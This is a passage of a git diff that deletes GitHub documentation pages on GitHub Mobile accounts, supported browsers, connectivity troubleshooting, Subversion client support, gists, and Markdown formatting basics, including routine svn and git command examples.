variables.product.prodname_ghe_server %}. At the bottom of the app, long-press **{% octicon "person" aria-hidden="true" %} Profile**, then tap **{% octicon "plus" aria-hidden="true" %} Add Enterprise Account**. Follow the prompts to sign in. - -After signing in with a second account, you can switch between the accounts you're currently logged into within the app. At the bottom of the app, long-press **{% octicon "person" aria-hidden="true" %} Profile**, then tap the account you want to switch to. - -If you no longer need to access an account using {% data variables.product.prodname_mobile %}, you can sign out of that account. At the bottom of the app, long-press **{% octicon "person" aria-hidden="true" %} Profile**, swipe left on the account to sign out of, then tap **Sign out**. - -Alternatively, once logged into one account, access the account switcher to log into other accounts or log out of an existing account by navigating to the **{% octicon "person" aria-hidden="true" %} Profile** tab, then tapping {% octicon "gear" aria-hidden="true" %}, and then tapping **Manage Accounts**. - -## Supported languages for {% data variables.product.prodname_mobile %} - -{% data variables.product.prodname_mobile %} is available in the following languages. - -* English -* Spanish -* Japanese -* Brazilian Portuguese -* Simplified Chinese -* Korean -* German - -If you configure the language on your device to a supported language, {% data variables.product.prodname_mobile %} will default to the language. You can change the language for {% data variables.product.prodname_mobile %} in {% data variables.product.prodname_mobile %}'s **Settings** menu. - -## Managing Universal Links for {% data variables.product.prodname_mobile %} on iOS - -{% data variables.product.prodname_mobile %} automatically enables Universal Links for iOS. When you tap any {% data variables.product.github %} link, the destination URL will open in {% data variables.product.prodname_mobile %} instead of Safari. For more information, see [Universal Links](https://developer.apple.com/ios/universal-links/) on the Apple Developer site. - -To disable Universal Links, long-press any {% data variables.product.github %} link, then tap **Open**. Every time you tap a {% data variables.product.github %} link in the future for the same {% data variables.product.github %} instance, the destination URL will open in Safari instead of {% data variables.product.prodname_mobile %}. - -To re-enable Universal Links, long-press any {% data variables.product.github %} link, then tap **Open in {% data variables.product.github %}**. - -## Sharing feedback - -You can submit feature requests or other feedback for {% data variables.product.prodname_mobile %} on [{% data variables.product.prodname_github_community %}](https://github.com/orgs/community/discussions/categories/mobile). - -## Opting out of {% data variables.release-phases.public_preview %} releases for iOS - -If you're testing a {% data variables.release-phases.public_preview %} release of {% data variables.product.prodname_mobile %} for iOS using TestFlight, you can leave the {% data variables.release-phases.public_preview %} at any time. - -1. On your iOS device, open the TestFlight app. -1. Under "Apps", tap **{% data variables.product.prodname_dotcom %}**. -1. At the bottom of the page, tap **Stop Testing**. diff --git a/content/get-started/using-github/index.md b/content/get-started/using-github/index.md deleted file mode 100644 index e6258a060c63..000000000000 --- a/content/get-started/using-github/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Using GitHub -intro: 'Explore {% data variables.product.company_short %}''s products from different platforms and devices.' -redirect_from: - - /articles/using-github - - /github/getting-started-with-github/using-github -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /github-flow - - /connecting-to-github - - /communicating-on-github - - /exploring-early-access-releases-with-feature-preview - - /supported-browsers - - /github-mobile - - /allowing-access-to-githubs-services-from-a-restricted-network - - /troubleshooting-connectivity-problems ---- diff --git a/content/get-started/using-github/supported-browsers.md b/content/get-started/using-github/supported-browsers.md deleted file mode 100644 index e95f3c6e99bd..000000000000 --- a/content/get-started/using-github/supported-browsers.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Supported browsers -redirect_from: - - /articles/why-doesn-t-graphs-work-with-ie-8 - - /articles/why-don-t-graphs-work-with-ie8 - - /articles/supported-browsers - - /github/getting-started-with-github/supported-browsers - - /github/getting-started-with-github/using-github/supported-browsers -intro: 'For the best experience with {% data variables.product.github %}, we recommend using the latest version of [Chrome](https://google.com/chrome), [Edge](https://www.microsoft.com/en-us/edge), [Firefox](https://mozilla.org/firefox), or [Safari](https://apple.com/safari).' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -## About web browser support - -We design {% data variables.product.github %} with the latest web browsers in mind. We recommend that you use the latest version of one of the following browsers. - -* [Apple Safari](https://apple.com/safari) -* [Google Chrome](https://google.com/chrome) -* [Microsoft Edge](https://www.microsoft.com/en-us/edge) -* [Mozilla Firefox](https://mozilla.org/firefox) - -If you do not use the latest version of a recommended browser, or if you use a browser that is not listed above, {% data variables.product.github %} or some features may not work as you expect, or at all. - -For more information about how we maintain browser compatibility for {% data variables.product.company_short %}'s products, see the [`github/browser-support`](https://github.com/github/browser-support) repository. - -## Extended support for recommended web browsers - -Some browser vendors provide extended support releases. We do our best to ensure that {% data variables.product.github %} functions properly in the latest extended support release for: - -* Chrome's [extended stable channel](https://support.google.com/chrome/a/answer/9027636) -* Edge's [Extended Stable Channel](https://docs.microsoft.com/en-gb/deployedge/microsoft-edge-channels#extended-stable-channel) -* Firefox's [Extended Support Release](https://www.mozilla.org/en-US/firefox/organizations/) (ESR) - -In earlier extended support releases, {% data variables.product.github %} may not work as you expect, and some features may not be available. - -## {% data variables.release-phases.public_preview_caps %} and developer builds - -You may encounter unexpected bugs in {% data variables.release-phases.public_preview %} and developer builds of our supported browsers. If you encounter a bug on {% data variables.product.github %} in one of these unreleased builds, please verify that it also exists in the stable version of the same browser. If the bug only exists in the unstable version, consider reporting the bug to the browser developer. diff --git a/content/get-started/using-github/troubleshooting-connectivity-problems.md b/content/get-started/using-github/troubleshooting-connectivity-problems.md deleted file mode 100644 index df0088c6f743..000000000000 --- a/content/get-started/using-github/troubleshooting-connectivity-problems.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Troubleshooting connectivity problems -intro: 'If you''re having trouble connecting to {% data variables.product.prodname_dotcom %}, you can troubleshoot your connection, then use the {% data variables.product.prodname_debug %} tool to diagnose problems.' -redirect_from: - - /articles/troubleshooting-connectivity-problems - - /github/getting-started-with-github/troubleshooting-connectivity-problems - - /github/getting-started-with-github/using-github/troubleshooting-connectivity-problems -versions: - fpt: '*' - ghec: '*' -shortTitle: Connectivity problems ---- -Most often, connection problems occur because a firewall, proxy server, corporate network, or other network is configured in a way that blocks {% data variables.product.prodname_dotcom %}. - -## Allowing {% data variables.product.prodname_dotcom %}'s IP addresses - -Make sure your network is configured to allow {% data variables.product.prodname_dotcom %}'s IP addresses. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses). - -## Using a company or organization's network - -If you're having connectivity problems on your company or organization's network, check with your network administrator to find out if the network has rules in place to block certain traffic. If there are rules in place, ask your network administrator to allow traffic to {% data variables.product.prodname_dotcom %}. - -## Troubleshooting the captcha - -If you're unable to verify with the captcha: -* Ensure JavaScript is enabled on your browser. -* Ensure your browser is supported. If your browser isn't supported, upgrade your browser or install a supported browser. For a list of supported browsers, see [AUTOTITLE](/get-started/using-github/supported-browsers). -* Ensure your network configuration is not blocking https://octocaptcha.com/ or https://arkoselabs.com/. If you're behind a corporate firewall, contact your IT administrator to allow those domains. To verify access to these domains, visit https://octocaptcha.com/test and ensure the text "Connection successfully made!" is displayed. Then, visit [Arkose Labs Demo](https://demo.arkoselabs.com/?key=DF9C4D87-CB7B-4062-9FEB-BADB6ADA61E6) for a captcha test page, and ensure you are able to load the captcha. -* Ensure your browser does not have plug-ins or extensions that may be interfering with GitHub. If so, temporarily disable the plug-ins or extensions during captcha verification. - -## Switching cloning methods - -Switching from cloning via SSH to cloning via HTTPS, or vice versa may improve connectivity. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors). - -If you prefer to use SSH but the port is blocked, you can use an alternative port. For more information, see [AUTOTITLE](/authentication/troubleshooting-ssh/using-ssh-over-the-https-port). - -If you're encountering timeouts with SSH, see [AUTOTITLE](/authentication/troubleshooting-ssh/error-bad-file-number). - -## Troubleshooting slow downloads and intermittent slow connections - -{% data variables.product.prodname_dotcom %} does not throttle bandwidth per user. - -If you're experiencing slow connections at certain times of day but not others, the slow speeds are most likely due to network congestion. Because {% data variables.product.prodname_dotcom %} cannot resolve network congestion, you should escalate the problem to your internet service provider. - -## Troubleshooting with {% data variables.product.prodname_debug %} - -If you've followed all of the troubleshooting suggestions above and are still having connection problems, you can follow the instructions on the {% data variables.product.prodname_debug %} site to run tests and send a report to {% data variables.product.prodname_dotcom %} Support. For more information, see [{% data variables.product.prodname_debug %}](https://github-debug.com/). diff --git a/content/get-started/working-with-subversion-on-github/index.md b/content/get-started/working-with-subversion-on-github/index.md deleted file mode 100644 index 5ff49d514c50..000000000000 --- a/content/get-started/working-with-subversion-on-github/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Working with Subversion on GitHub -intro: You can use Subversion clients and some Subversion workflows and properties with GitHub. -redirect_from: - - /articles/working-with-subversion-on-github - - /github/importing-your-projects-to-github/working-with-subversion-on-github - - /get-started/importing-your-projects-to-github/working-with-subversion-on-github -versions: - ghes: '<3.13' -children: - - /what-are-the-differences-between-subversion-and-git - - /support-for-subversion-clients - - /subversion-properties-supported-by-github -shortTitle: Subversion ---- diff --git a/content/get-started/working-with-subversion-on-github/subversion-properties-supported-by-github.md b/content/get-started/working-with-subversion-on-github/subversion-properties-supported-by-github.md deleted file mode 100644 index b57057350653..000000000000 --- a/content/get-started/working-with-subversion-on-github/subversion-properties-supported-by-github.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Subversion properties supported by GitHub -intro: 'There are several Subversion workflows and properties that are similar to existing functionality on {% data variables.product.github %}.' -redirect_from: - - /articles/subversion-properties-supported-by-github - - /github/importing-your-projects-to-github/subversion-properties-supported-by-github - - /github/importing-your-projects-to-github/working-with-subversion-on-github/subversion-properties-supported-by-github - - /get-started/importing-your-projects-to-github/working-with-subversion-on-github/subversion-properties-supported-by-github -versions: - ghes: '<3.13' -shortTitle: Properties supported by GitHub ---- -{% data reusables.subversion.sunset %} - -## Executable files (`svn:executable`) - -We convert `svn:executable` properties by updating the file mode directly before adding it to the Git repository. - -## MIME types (`svn:mime-type`) - -{% data variables.product.github %} internally tracks the mime-type properties of files and the commits that added them. - -## Ignoring unversioned items (`svn:ignore`) - -If you've set files and directories to be ignored in Subversion, {% data variables.product.github %} will track them internally. Files ignored by subversion clients are completely distinct from entries in a _.gitignore_ file. - -## Currently unsupported properties - -{% data variables.product.github %} doesn't currently support `svn:externals`, `svn:global-ignores`, or any properties not listed above, including custom properties. diff --git a/content/get-started/working-with-subversion-on-github/support-for-subversion-clients.md b/content/get-started/working-with-subversion-on-github/support-for-subversion-clients.md deleted file mode 100644 index 6dae510aedd8..000000000000 --- a/content/get-started/working-with-subversion-on-github/support-for-subversion-clients.md +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: Support for Subversion clients -intro: GitHub repositories can be accessed from both Git and Subversion (SVN) clients. This article covers using a Subversion client on GitHub and some common problems that you might run into. -redirect_from: - - /articles/support-for-subversion-clients - - /github/importing-your-projects-to-github/support-for-subversion-clients - - /github/importing-your-projects-to-github/working-with-subversion-on-github/support-for-subversion-clients - - /get-started/importing-your-projects-to-github/working-with-subversion-on-github/support-for-subversion-clients -versions: - ghes: '<3.13' -shortTitle: Support for Subversion clients ---- -GitHub supports Subversion clients via the HTTPS protocol. We use a Subversion bridge to communicate svn commands to GitHub. - -{% data reusables.subversion.sunset %} - -## Supported Subversion features on GitHub - -### Checkout - -The first thing you'll want to do is a Subversion checkout. Since Git clones keep the working directory (where you edit files) separate from the repository data, there is only one branch in the working directory at a time. - -Subversion checkouts are different: they mix the repository data in the working directories, so there is a working directory for each branch and tag you've checked out. For repositories with many branches and tags, checking out everything can be a bandwidth burden, so you should start with a partial checkout. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.copy-clone-url %} - -1. Make an empty checkout of the repository: - - ```shell - $ svn co --depth empty https://github.com/USER/REPO - > Checked out revision 1. - $ cd REPO - ``` - -1. Get the `trunk` branch. The Subversion bridge maps trunk to the Git HEAD branch. - - ```shell - $ svn up trunk - > A trunk - > A trunk/README.md - > A trunk/gizmo.rb - > Updated to revision 1. - ``` - -1. Get an empty checkout of the `branches` directory. This is where all of the non-`HEAD` branches live, and where you'll be making feature branches. - - ```shell - $ svn up --depth empty branches - Updated to revision 1. - ``` - -### Creating branches - -You can also create branches using the Subversion bridge to GitHub. - -From your svn client, make sure the default branch is current by updating `trunk`: - -```shell -$ svn up trunk -> At revision 1. -``` - -Next, you can use `svn copy` to create a new branch: - -```shell -$ svn copy trunk branches/more_awesome -> A branches/more_awesome -$ svn commit -m 'Added more_awesome topic branch' -> Adding branches/more_awesome - -> Committed revision 2. -``` - -You can confirm that the new branch exists in the repository's branch dropdown: - - ![Screenshot of the repository page. A dropdown menu, labeled with a branch icon and "main", is highlighted with an orange outline.](/assets/images/help/branches/branch-selection-dropdown-global-nav-update.png) - -You can also confirm the new branch via the command line: - -```shell -$ git fetch -> From https://github.com/USER/REPO/ -> * [new branch] more_awesome -> origin/more_awesome -``` - -### Making commits to Subversion - -After you've added some features and fixed some bugs, you'll want to commit those -changes to GitHub. This works just like the Subversion you're used to. Edit your files, and use `svn commit` to record your changes: - -```shell -$ svn status -> M gizmo.rb -$ svn commit -m 'Guard against known problems' -> Sending more_awesome/gizmo.rb -> Transmitting file data . -> Committed revision 3. -$ svn status -> ? test -$ svn add test -> A test -> A test/gizmo_test.rb -$ svn commit -m 'Test coverage for problems' -> Adding more_awesome/test -> Adding more_awesome/test/gizmo_test.rb -> Transmitting file data . -> Committed revision 4. -``` - -### Switching between branches - -To switch between branches, you'll probably want to start with a checkout of `trunk`: - -```shell -svn co --depth empty https://github.com/USER/REPO/trunk -``` - -Then, you can switch to another branch: - -```shell -svn switch https://github.com/USER/REPO/branches/more_awesome -``` - -## Finding the Git commit SHA for a Subversion commit - -GitHub's Subversion server exposes the Git commit sha for each Subversion commit. - -To see the commit SHA, you should ask for the `git-commit` unversioned remote property. - -```shell -$ svn propget git-commit --revprop -r HEAD https://github.com/USER/REPO -05fcc584ed53d7b0c92e116cb7e64d198b13c4e3 -``` - -With this commit SHA, you can, for example, look up the corresponding Git commit on GitHub. diff --git a/content/get-started/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md b/content/get-started/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md deleted file mode 100644 index 214fbe7edf26..000000000000 --- a/content/get-started/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: What are the differences between Subversion and Git? -intro: 'Subversion (SVN) repositories are similar to Git repositories, but there are several differences when it comes to the architecture of your projects.' -redirect_from: - - /articles/what-are-the-differences-between-svn-and-git - - /articles/what-are-the-differences-between-subversion-and-git - - /github/importing-your-projects-to-github/what-are-the-differences-between-subversion-and-git - - /github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git - - /get-started/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git -versions: - ghes: '<3.13' -shortTitle: Subversion & Git differences ---- -## Directory structure - -Each _reference_, or labeled snapshot of a commit, in a project is organized within specific subdirectories, such as `trunk`, `branches`, and `tags`. For example, an SVN project with two features under development might look like this: - - sample_project/trunk/README.md - sample_project/trunk/lib/widget.rb - sample_project/branches/new_feature/README.md - sample_project/branches/new_feature/lib/widget.rb - sample_project/branches/another_new_feature/README.md - sample_project/branches/another_new_feature/lib/widget.rb - -An SVN workflow looks like this: - -* The `trunk` directory represents the latest stable release of a project. -* Active feature work is developed within subdirectories under `branches`. -* When a feature is finished, the feature directory is merged into `trunk` and removed. - -Git projects are also stored within a single directory. However, Git obscures the details of its references by storing them in a special _.git_ directory. For example, a Git project with two features under development might look like this: - - sample_project/.git - sample_project/README.md - sample_project/lib/widget.rb - -A Git workflow looks like this: - -* A Git repository stores the full history of all of its branches and tags within the _.git_ directory. -* The latest stable release is contained within the default branch. -* Active feature work is developed in separate branches. -* When a feature is finished, the feature branch is merged into the default branch and deleted. - -Unlike SVN, with Git the directory structure remains the same, but the contents of the files change based on your branch. - -## Including subprojects - -A _subproject_ is a project that's developed and managed somewhere outside of your main project. You typically import a subproject to add some functionality to your project without needing to maintain the code yourself. Whenever the subproject is updated, you can synchronize it with your project to ensure that everything is up-to-date. - -In SVN, a subproject is called an _SVN external_. In Git, it's called a _Git submodule_. Although conceptually similar, Git submodules are not kept up-to-date automatically; you must explicitly ask for a new version to be brought into your project. - -For more information, see [Git Tools Submodules](https://git-scm.com/book/en/v2/Git-Tools-Submodules) in the Git documentation. - -## Preserving history - -SVN is configured to assume that the history of a project never changes. Git allows you to modify previous commits and changes using tools like [`git rebase`](/get-started/using-git/about-git-rebase). - -> [!TIP] -> [GitHub supports Subversion clients](/get-started/working-with-subversion-on-github/support-for-subversion-clients), which may produce some unexpected results if you're using both Git and SVN on the same project. If you've manipulated Git's commit history, those same commits will always remain within SVN's history. If you accidentally committed some sensitive data, we have [an article that will help you remove it from Git's history](/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository). - -{% data reusables.subversion.sunset %} - -## Further reading - -* ["Branching and Merging" from the _Git SCM_ book](https://git-scm.com/book/en/v2/Git-Branching-Basic-Branching-and-Merging) -* [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-subversion-repository) diff --git a/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md b/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md deleted file mode 100644 index b696c3a2aeac..000000000000 --- a/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Creating gists -intro: 'You can create two kinds of gists: public and secret. Create a public gist if you''re ready to share your ideas with the world or a secret gist if you''re not.' -permissions: '{% data reusables.enterprise-accounts.emu-permission-gist %}' -redirect_from: - - /articles/about-gists - - /articles/cannot-delete-an-anonymous-gist - - /articles/deleting-an-anonymous-gist - - /articles/creating-gists - - /github/writing-on-github/creating-gists - - /github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- -## About gists - -Gists provide a simple way to share code snippets with others. Every gist is a Git repository, which means that it can be forked and cloned. If you are signed in to {% data variables.product.github %} when you create a gist, the gist will be associated with your account and you will see it in your list of gists when you navigate to your {% data variables.gists.gist_homepage %}. - -Gists can be public or secret. Public gists show up in {% data variables.gists.discover_url %}, where people can browse new gists as they're created. They're also searchable, so you can use them if you'd like other people to find and see your work. - -Secret gists don't show up in {% data variables.gists.discover_url %} and are not searchable unless you are logged in and are the author of the secret gist. Secret gists aren't private. If you send the URL of a secret gist to a friend, they'll be able to see it. However, if someone you don't know discovers the URL, they'll also be able to see your gist. If you need to keep your code away from prying eyes, you may want to [create a private repository](/repositories/creating-and-managing-repositories/creating-a-new-repository) instead. - -{% data reusables.gist.cannot-convert-public-gists-to-secret %} However, a secret gist can be made public by editing the gist and updating the visibility to public. - -{% ifversion ghes %} - -If your site administrator has disabled private mode, you can also use anonymous gists, which can be public or secret. - -{% data reusables.gist.anonymous-gists-cannot-be-deleted %} - -{% endif %} - -You'll receive a notification when: -* You are the author of a gist. -* Someone mentions you in a gist. -* You subscribe to a gist, by clicking **Subscribe** at the top of any gist. - -You can pin gists to your profile so other people can see them easily. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile). - -You can discover public gists others have created by going to the {% data variables.gists.gist_homepage %} and clicking **All Gists**. This will take you to a page of all gists sorted and displayed by time of creation or update. You can also search gists by language with {% data variables.gists.gist_search_url %}. {% ifversion ghes %}Gist search uses the same search syntax as [code search](/search-github/searching-on-github/searching-code).{% endif %} - -Since gists are Git repositories, you can view their full commit history, complete with diffs. You can also fork or clone gists. For more information, see [AUTOTITLE](/get-started/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists). - -You can download a ZIP file of a gist by clicking the **Download ZIP** button at the top of the gist. You can embed a gist in any text field that supports JavaScript, such as a blog post. To get the embed code, click the clipboard icon next to the **Embed** URL of a gist. To embed a specific gist file, append the **Embed** URL with `?file=FILENAME`. - -{% ifversion fpt or ghec %} - -Gist supports mapping GeoJSON files. These maps are displayed in embedded gists, so you can easily share and embed maps. For more information, see [AUTOTITLE](/repositories/working-with-files/using-files/working-with-non-code-files#mapping-geojson-files-on-github). - -{% endif %} - -## Creating a gist - -Follow the steps below to create a gist. - -> [!NOTE] -> You can also create a gist using the {% data variables.product.prodname_cli %}. For more information, see [`gh gist create`](https://cli.github.com/manual/gh_gist_create) in the {% data variables.product.prodname_cli %} documentation. -> -> Alternatively, you can drag and drop a text file from your desktop directly into the editor. - -1. Sign in to {% data variables.product.github %}. -1. Navigate to your {% data variables.gists.gist_homepage %}. -1. Optionally, in the "Gist description" field, type a description for your gist. -1. In the "Filename including extension" field, type a file name for your gist, including the file extensions. -1. In the file contents field, type the text of your gist. -1. Optionally, to create a public gist, click {% octicon "triangle-down" aria-label="The downwards triangle icon" %}, then click **Create public gist**. - - ![Screenshot of the visibility dropdown menu for a new gist. Next to a button labeled "Create secret gist", a dropdown icon is outlined in dark orange.](/assets/images/help/gist/gist-visibility-drop-down.png) -1. Click **Create secret Gist** or **Create public gist**. diff --git a/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md b/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md deleted file mode 100644 index 71a6d1f7def9..000000000000 --- a/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Forking and cloning gists -intro: 'Gists are actually Git repositories, which means that you can fork or clone any gist, even if you aren''t the original author. You can also view a gist''s full commit history, including diffs.' -permissions: '{% data reusables.enterprise-accounts.emu-permission-gist %}' -redirect_from: - - /articles/forking-and-cloning-gists - - /github/writing-on-github/forking-and-cloning-gists - - /github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -## Forking gists - -Each gist indicates which forks have activity, making it easy to find interesting changes from others. - -## Cloning gists - -If you want to make local changes to a gist and push them up to the web, you can clone a gist and make commits the same as you would with any Git repository. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/cloning-a-repository). - -To clone a gist, select the Embed dropdown menu, then click **Clone via HTTPS** or **Clone via SSH**. - -![Screenshot of the "Embed" dropdown menu in GitHub Gist. The dropdown is expanded, and an option labeled “Clone via HTTPS” is outlined in dark orange.](/assets/images/help/gist/gist-clone-btn.png) - -## Viewing gist commit history - -To view a gist's full commit history, click the "Revisions" tab at the top of the gist. - -You will see a full commit history for the gist with diffs. - -![Screenshot of the "Revisions" page in GitHub Gist. A tab, labeled “Revisions”, is outlined in dark orange.](/assets/images/help/gist/gist-history.png) diff --git a/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/index.md b/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/index.md deleted file mode 100644 index 248b788a8cab..000000000000 --- a/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Editing and sharing content with gists -intro: '' -redirect_from: - - /categories/23/articles - - /categories/gists - - /articles/editing-and-sharing-content-with-gists - - /github/writing-on-github/editing-and-sharing-content-with-gists -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /creating-gists - - /forking-and-cloning-gists - - /saving-gists-with-stars - - /moderating-gist-comments -shortTitle: Share content with gists ---- diff --git a/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/moderating-gist-comments.md b/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/moderating-gist-comments.md deleted file mode 100644 index 1e2a3df5c860..000000000000 --- a/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/moderating-gist-comments.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Moderating gist comments -intro: 'You can moderate comments on gists by turning them off or deleting unwanted entries.' -versions: - fpt: '*' - ghes: '>=3.17' - ghec: '*' ---- -## Disabling comments - -You can hide existing comments and prevent new comments from being added to a gist by disabling comments for the gist. You can re-enable comments at any time. This will make existing comments visible. - -1. Navigate to {% data variables.gists.gist_user %} and select the gist you want to moderate. -1. In the top right corner, select **{% octicon "pencil" aria-hidden="true" %} Edit**. -1. In the top right corner, select **{% octicon "comment" aria-hidden="true" %} Disable comments**. - -## Deleting comments - -You can delete a comment on a gist if you are the author of the gist or the author of the comment. - -1. Navigate to {% data variables.gists.gist_user %} and select the gist you want to moderate. -1. On the upper-right corner of the comment box, select **{% octicon "kebab-horizontal" aria-label="Open dropdown menu" %}**. -1. From the dropdown menu select **Delete**. -1. Select **OK** to confirm. diff --git a/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/saving-gists-with-stars.md b/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/saving-gists-with-stars.md deleted file mode 100644 index 2082495f29a6..000000000000 --- a/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/saving-gists-with-stars.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Saving gists with stars -intro: 'You can star gists to keep track of projects you find interesting.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- -## Starring a gist - -You can star a gist to add it to the "Starred" page. Starring makes it easy to find a gist again later. - -1. Navigate to {% data variables.gists.discover_url %} and select the gist you want to star. -1. To star the gist, click **{% octicon "star" aria-hidden="true" %} Star** in the top-right corner of the page. - - ![Screenshot of the gist bar with the "Star" option highlighted with a dark orange outline.](/assets/images/help/gist/starring-a-gist.png) - -1. Optionally, to unstar a previously starred gist, click **{% octicon "star-fill" aria-hidden="true" %} Unstar**. This will remove the gist from your starred list. - -## Viewing your starred gists - -Starring makes it easy to find a gist again later. You can see all the gists you've starred by navigating to {% data variables.gists.gist_user_starred %}. - -Alternatively, follow the steps in the procedure. - -1. Navigate to your {% data variables.gists.gist_homepage %}. -1. In the top right corner, click your profile picture. -1. From the dropdown menu, select **Starred gists**. - - ![Screenshot of a user's account menu. The menu item "Starred gists" is outlined in dark orange.](/assets/images/help/gist/view-starred-gists.png) - -You can see all recently starred gists from other users by going to the {% data variables.gists.gist_starred %}. - -## Further reading - -* [AUTOTITLE](/get-started/exploring-projects-on-github/saving-repositories-with-stars) diff --git a/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md b/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md deleted file mode 100644 index 9fcf5fc523ea..000000000000 --- a/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: About writing and formatting on GitHub -intro: GitHub combines a syntax for formatting text called GitHub Flavored Markdown with a few unique writing features. -product: '{% data reusables.gated-features.markdown-ui %}' -redirect_from: - - /articles/about-writing-and-formatting-on-github - - /github/writing-on-github/about-writing-and-formatting-on-github - - /github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: About writing & formatting ---- -{% data reusables.getting-started.what-is-markdown %} - -We've added some custom functionality to create {% data variables.product.prodname_dotcom %} Flavored Markdown, used to format prose and code across our site. - -You can also interact with other users in pull requests and issues using features like @-mentions, issue and PR references, and emoji. For more information, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax). - -## Text formatting toolbar - -Every comment field on {% data variables.product.github %} contains a text formatting toolbar, which allows you to format your text without learning Markdown syntax. In addition to Markdown formatting like bold and italic styles and creating headers, links, and lists, the toolbar includes {% data variables.product.github %}-specific features such as @-mentions, task lists, and links to issues and pull requests. - -## Enabling fixed-width fonts in the editor - -You can enable a fixed-width font in every comment field on {% data variables.product.github %}. Each character in a fixed-width, or monospace, font occupies the same horizontal space. This can make it easier to edit advanced Markdown structures such as tables and code snippets. - -![Screenshot of a {% data variables.product.prodname_dotcom %} comment showing a sample Markdown table listing two Git commands. All letters in the table are the same visual width.](/assets/images/help/writing/fixed-width-example.png) - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.appearance-settings %} -1. Under "Markdown editor font preference", select **Use a fixed-width (monospace) font when editing Markdown**. - ![Screenshot of {% data variables.product.prodname_dotcom %} user settings for Markdown preference. The checkbox to use a fix-width font in Markdown is checked and outlined in dark orange.](/assets/images/help/writing/enable-fixed-width.png) - -## Further reading - -* [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/) -* [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) -* [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting) -* [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github) diff --git a/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md b/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md deleted file mode 100644 index 6b6e05a7b675..000000000000 --- a/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md +++ /dev/null @@ -1,473 +0,0 @@ ---- -title: Basic writing and formatting syntax -intro: Create sophisticated formatting for your prose and code on GitHub with simple syntax. -product: '{% data reusables.gated-features.markdown-ui %}' -redirect_from: - - /articles/basic-writing-and-formatting-syntax - - /github/writing-on-github/basic-writing-and-formatting-syntax - - /github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Basic formatting syntax ---- -## Headings - -To create a heading, add one to six # symbols before your heading text. The number of # you use will determine the hierarchy level and typeface size of the heading. - -```markdown -# A first-level heading -## A second-level heading -### A third-level heading -``` - -![Screenshot of 